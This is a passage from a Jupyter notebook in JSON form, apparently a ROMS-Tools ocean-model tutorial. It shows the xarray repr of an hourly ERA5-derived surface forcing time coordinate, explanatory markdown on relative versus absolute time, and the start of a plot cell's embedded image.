pre-wrap;\n", " word-break: break-all;\n", "}\n", "\n", ".xr-icon-database,\n", ".xr-icon-file-text2,\n", ".xr-no-icon {\n", " display: inline-block;\n", " vertical-align: middle;\n", " width: 1em;\n", " height: 1.5em !important;\n", " stroke-width: 0;\n", " stroke: currentColor;\n", " fill: currentColor;\n", "}\n", "</style><pre class='xr-text-repr-fallback'>&lt;xarray.DataArray &#x27;time&#x27; (time: 505)&gt; Size: 4kB\n", "array([4397. , 4397.041667, 4397.083333, ..., 4417.916667, 4417.958333,\n", " 4418. ])\n", "Coordinates:\n", " abs_time (time) datetime64[ns] 4kB 2012-01-15 ... 2012-02-05\n", " * time (time) float64 4kB 4.397e+03 4.397e+03 ... 4.418e+03 4.418e+03\n", "Attributes:\n", " long_name: days since 2000-01-01 00:00:00\n", " units: days</pre><div class='xr-wrap' style='display:none'><div class='xr-header'><div class='xr-obj-type'>xarray.DataArray</div><div class='xr-array-name'>'time'</div><ul class='xr-dim-list'><li><span class='xr-has-index'>time</span>: 505</li></ul></div><ul class='xr-sections'><li class='xr-section-item'><div class='xr-array-wrap'><input id='section-004fb6f9-5461-4191-939d-6272a37916d5' class='xr-array-in' type='checkbox' checked><label for='section-004fb6f9-5461-4191-939d-6272a37916d5' title='Show/hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-array-preview xr-preview'><span>4.397e+03 4.397e+03 4.397e+03 ... 4.418e+03 4.418e+03 4.418e+03</span></div><div class='xr-array-data'><pre>array([4397. , 4397.041667, 4397.083333, ..., 4417.916667, 4417.958333,\n", " 4418. ])</pre></div></div></li><li class='xr-section-item'><input id='section-87f56d47-8e60-4a81-837e-f531f56939af' class='xr-section-summary-in' type='checkbox' checked><label for='section-87f56d47-8e60-4a81-837e-f531f56939af' class='xr-section-summary' >Coordinates: <span>(2)</span></label><div class='xr-section-inline-details'></div><div class='xr-section-details'><ul class='xr-var-list'><li class='xr-var-item'><div class='xr-var-name'><span>abs_time</span></div><div class='xr-var-dims'>(time)</div><div class='xr-var-dtype'>datetime64[ns]</div><div class='xr-var-preview xr-preview'>2012-01-15 ... 2012-02-05</div><input id='attrs-b8464b9c-f810-471a-92e4-76b074d210bf' class='xr-var-attrs-in' type='checkbox' disabled><label for='attrs-b8464b9c-f810-471a-92e4-76b074d210bf' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-6724285e-d2d2-4980-95b7-5d5b5e4d866c' class='xr-var-data-in' type='checkbox'><label for='data-6724285e-d2d2-4980-95b7-5d5b5e4d866c' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'></dl></div><div class='xr-var-data'><pre>array([&#x27;2012-01-15T00:00:00.000000000&#x27;, &#x27;2012-01-15T01:00:00.000000000&#x27;,\n", " &#x27;2012-01-15T02:00:00.000000000&#x27;, ..., &#x27;2012-02-04T22:00:00.000000000&#x27;,\n", " &#x27;2012-02-04T23:00:00.000000000&#x27;, &#x27;2012-02-05T00:00:00.000000000&#x27;],\n", " dtype=&#x27;datetime64[ns]&#x27;)</pre></div></li><li class='xr-var-item'><div class='xr-var-name'><span class='xr-has-index'>time</span></div><div class='xr-var-dims'>(time)</div><div class='xr-var-dtype'>float64</div><div class='xr-var-preview xr-preview'>4.397e+03 4.397e+03 ... 4.418e+03</div><input id='attrs-c795c502-4981-4b85-9f52-657035a77c0c' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-c795c502-4981-4b85-9f52-657035a77c0c' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-73fb6fdf-eab3-429e-821e-e340cd2413f4' class='xr-var-data-in' type='checkbox'><label for='data-73fb6fdf-eab3-429e-821e-e340cd2413f4' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>days since 2000-01-01 00:00:00</dd><dt><span>units :</span></dt><dd>days</dd></dl></div><div class='xr-var-data'><pre>array([4397. , 4397.041667, 4397.083333, ..., 4417.916667, 4417.958333,\n", " 4418. ])</pre></div></li></ul></div></li><li class='xr-section-item'><input id='section-7c15e318-eeb0-4c47-8683-74273f5623f9' class='xr-section-summary-in' type='checkbox' ><label for='section-7c15e318-eeb0-4c47-8683-74273f5623f9' class='xr-section-summary' >Indexes: <span>(1)</span></label><div class='xr-section-inline-details'></div><div class='xr-section-details'><ul class='xr-var-list'><li class='xr-var-item'><div class='xr-index-name'><div>time</div></div><div class='xr-index-preview'>PandasIndex</div><div></div><input id='index-4fe4945d-d5b1-4e8d-84e3-9efc434cc319' class='xr-index-data-in' type='checkbox'/><label for='index-4fe4945d-d5b1-4e8d-84e3-9efc434cc319' title='Show/Hide index repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-index-data'><pre>PandasIndex(Index([ 4397.0, 4397.041666666667, 4397.083333333334,\n", " 4397.125, 4397.166666666667, 4397.208333333334,\n", " 4397.25, 4397.291666666667, 4397.333333333334,\n", " 4397.375,\n", " ...\n", " 4417.625, 4417.666666666667, 4417.708333333333,\n", " 4417.75, 4417.791666666667, 4417.833333333333,\n", " 4417.875, 4417.916666666667, 4417.958333333333,\n", " 4418.0],\n", " dtype=&#x27;float64&#x27;, name=&#x27;time&#x27;, length=505))</pre></div></li></ul></div></li><li class='xr-section-item'><input id='section-1649fb1b-fb40-4482-a4d7-3ed81abe25e8' class='xr-section-summary-in' type='checkbox' checked><label for='section-1649fb1b-fb40-4482-a4d7-3ed81abe25e8' class='xr-section-summary' >Attributes: <span>(2)</span></label><div class='xr-section-inline-details'></div><div class='xr-section-details'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>days since 2000-01-01 00:00:00</dd><dt><span>units :</span></dt><dd>days</dd></dl></div></li></ul></div></div>" ], "text/plain": [ "<xarray.DataArray 'time' (time: 505)> Size: 4kB\n", "array([4397. , 4397.041667, 4397.083333, ..., 4417.916667, 4417.958333,\n", " 4418. ])\n", "Coordinates:\n", " abs_time (time) datetime64[ns] 4kB 2012-01-15 ... 2012-02-05\n", " * time (time) float64 4kB 4.397e+03 4.397e+03 ... 4.418e+03 4.418e+03\n", "Attributes:\n", " long_name: days since 2000-01-01 00:00:00\n", " units: days" ] }, "execution_count": 8, "metadata": {}, "output_type": "execute_result" } ], "source": [ "surface_forcing.ds.time" ] }, { "cell_type": "markdown", "id": "f47568cf-9595-4e3c-9349-6bd7ab4d2bdd", "metadata": {}, "source": [ "The `time` variable shows relative time, i.e., days since the model reference date (here set to January 1, 2000 by default). The `abs_time` coordinate shows the absolute time. The ERA5 data provided to `ROMS-Tools` has hourly frequency; this temporal frequency is inherited by `surface_forcing`." ] }, { "cell_type": "markdown", "id": "06fcfaa4-3247-4cdc-b738-60edb3e2649f", "metadata": {}, "source": [ "To visualize any of the surface forcing fields, we can use the `.plot` method." ] }, { "cell_type": "code", "execution_count": 9, "id": "c1763876-86d0-4070-8d8b-666e5de8912a", "metadata": { "tags": [] }, "outputs": [ { "data": { "image/png": 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4O6666ipWrVrFr371KwKBAD/96U+ZOHEiH3zwQcZyTo5BqZTyer7zne/Q0NBgTlahNmPGDJYsWUIsFjOPfXV1NVOmTGHx4sWmkLQe+5tuuonvfe97nHDCCSxcuJDnn3+eRYsWMXny5JyElIsvvphVq1bx4YcfAvDII49wyimnUF9fby6jaRqnnnoqixYtsp0+97nPFXx9dXV1tmLhoosuYt26dfz+979n0KBB/PrXv2by5Mlmos6+sHbtWk455RT27NnD7bffztNPP82iRYv47ne/a74mK4XeL2Ps1mNSCLttlfKedJZSv3P7g/3xXXJxcdn/eLp7AC4d9OvXj2AwaLqGrWTXSxs+fDiaprF69WrTegV6Fmtzc3NGHTRDKCxatIglS5Zw7bXXAnDCCSfwxz/+kUGDBlFeXs6RRx7ZqXFPnz4dn89nipNrrrnG3P59993HSy+9ZD42+Oc//0kgEOD555/PKO9x//33O97v8OHDHR2rQowePZqrr76aq6++mtWrV3PYYYdx2223sXDhQsfbMMZit99PP/3UfL4Y+YT/D37wgwzXndVlO3PmTBKJBH//+9/ZunWr+V6fcMIJLF68mAEDBjBu3DgGDBhgrvPYY49x0kkn8Ze//CVjP83NzTmC57zzzuNrX/ua6YpetWoVP/rRjzKWGT16NO3t7aYlsVQmTJjA+vXrbZ9raGjgyiuv5Morr2TXrl0cccQR/PKXv+SMM84wj+nKlSs5+eSTM9ZbuXJlwWP+73//m3g8zpNPPplhOX755ZdLHr8xduv3sFScvifDhw9n2bJlCCEyPi9OPvOlfOecWkmt78GoUaPM+YlEgvXr13f6M+Hi4tKzcC2LPQhFUTjttNN44okn2LRpkzl/xYoVPP/88xnLnnnmmQDccccdGfNvv/12QI/bMhg5ciSDBw/mt7/9LclkkuOPPx7QhcbatWt57LHHOOaYY/B4OnftEAgEOOqoo/j73//Opk2bMiyL0WiUO++8k9GjR9PQ0JDxWiVJQlVVc96GDRtK6hpx5pln8tZbb/HOO++Y83bv3s1DDz1UdN1IJJJTq3H06NFUVFTYliFxMpZ33nnHjNEECIfD3HvvvYwYMSIn3tKO8vJygJySI5MmTWL27NnmZBX1Rx99NF6vl1tuuYXa2lomT54M6Mf+rbfe4tVXX82xGCuKkmPJefTRR23LzVRXV3PaaafxyCOP8I9//AOfz8d5552XscxFF13Em2++mfMZNV5LKpUq+LqPPfZYli1blnHcVVXNcY3279+fQYMGmctNmzaN/v37c88992Ss++yzz7JixYqM70A2hoXLehxaWlpKulgxeO+995AkiWOPPbbkda3jcfKenHnmmWzbti2j3E0kEuHee+91tA+n37ny8vKcz6Eds2fPxufzceedd2aM/y9/+QstLS0F3wMXF5feg2tZ7GHMnz+f5557jpkzZ3LllVeSSqX4/e9/z+TJk/noo4/M5aZOncoVV1zBvffeS3NzM7NmzeKdd97hgQce4LzzzuOkk07K2O7MmTP5xz/+wSGHHGJapo444gjKy8tZtWoVl1566T6Ne+bMmdx8881UVVVxyCGHAPrJffz48axcudKs02Zw1llncfvtt3P66adz6aWXsmvXLv7whz8wZsyYjNdZiB/84AcsWLCA008/ne985zuUl5dz7733Mnz48KLbWLVqFaeccgoXXXQRkyZNwuPx8K9//YudO3dy8cUXl/z6r732Wv7+979zxhln8O1vf5va2loeeOAB1q9fzz//+c+M4P98HHbYYSiKwi233EJLSwt+v9+sA5iPsrIyjjzySN566y2zxiLolsVwOEw4HM4Ri2effTY33HADX/ziFznuuOP4+OOPeeihhzIsQ1Y+//nPM3fuXO6++25OO+20jCQlgGuuuYYnn3ySs88+my984QsceeSRhMNhPv74Yx577DE2bNhQ0EV77rnncuONN/Lqq68yZ84cQK+xOGTIEC644AKmTp1KKBTixRdfZMmSJdx2220Apkj+4he/yKxZs7jkkkvYuXMnv/vd7xgxYoTpUrZjzpw5+Hw+PvOZz/C1r32N9vZ27rvvPvr378/27dvzrmfHokWLOP7446mrqytpPStO35OvfOUr3HXXXVx++eW89957NDQ0sGDBAsrKyoruo5Tv3JFHHsmLL77I7bffzqBBgxg5ciRHH310zjb79evHj370I+bPn8/pp5/OOeecw8qVK7n77rs56qijMiziLi4uvZjuSMF2Kcyrr74qjjzySOHz+cSoUaPEPffcY1v6I5lMivnz54uRI0cKr9crhg4dKn70ox+JWCyWs80//OEPAhDf+MY3MubPnj1bAOKll17KmG+U+Xj00Ucz5q9fv14A4v7778+Y//T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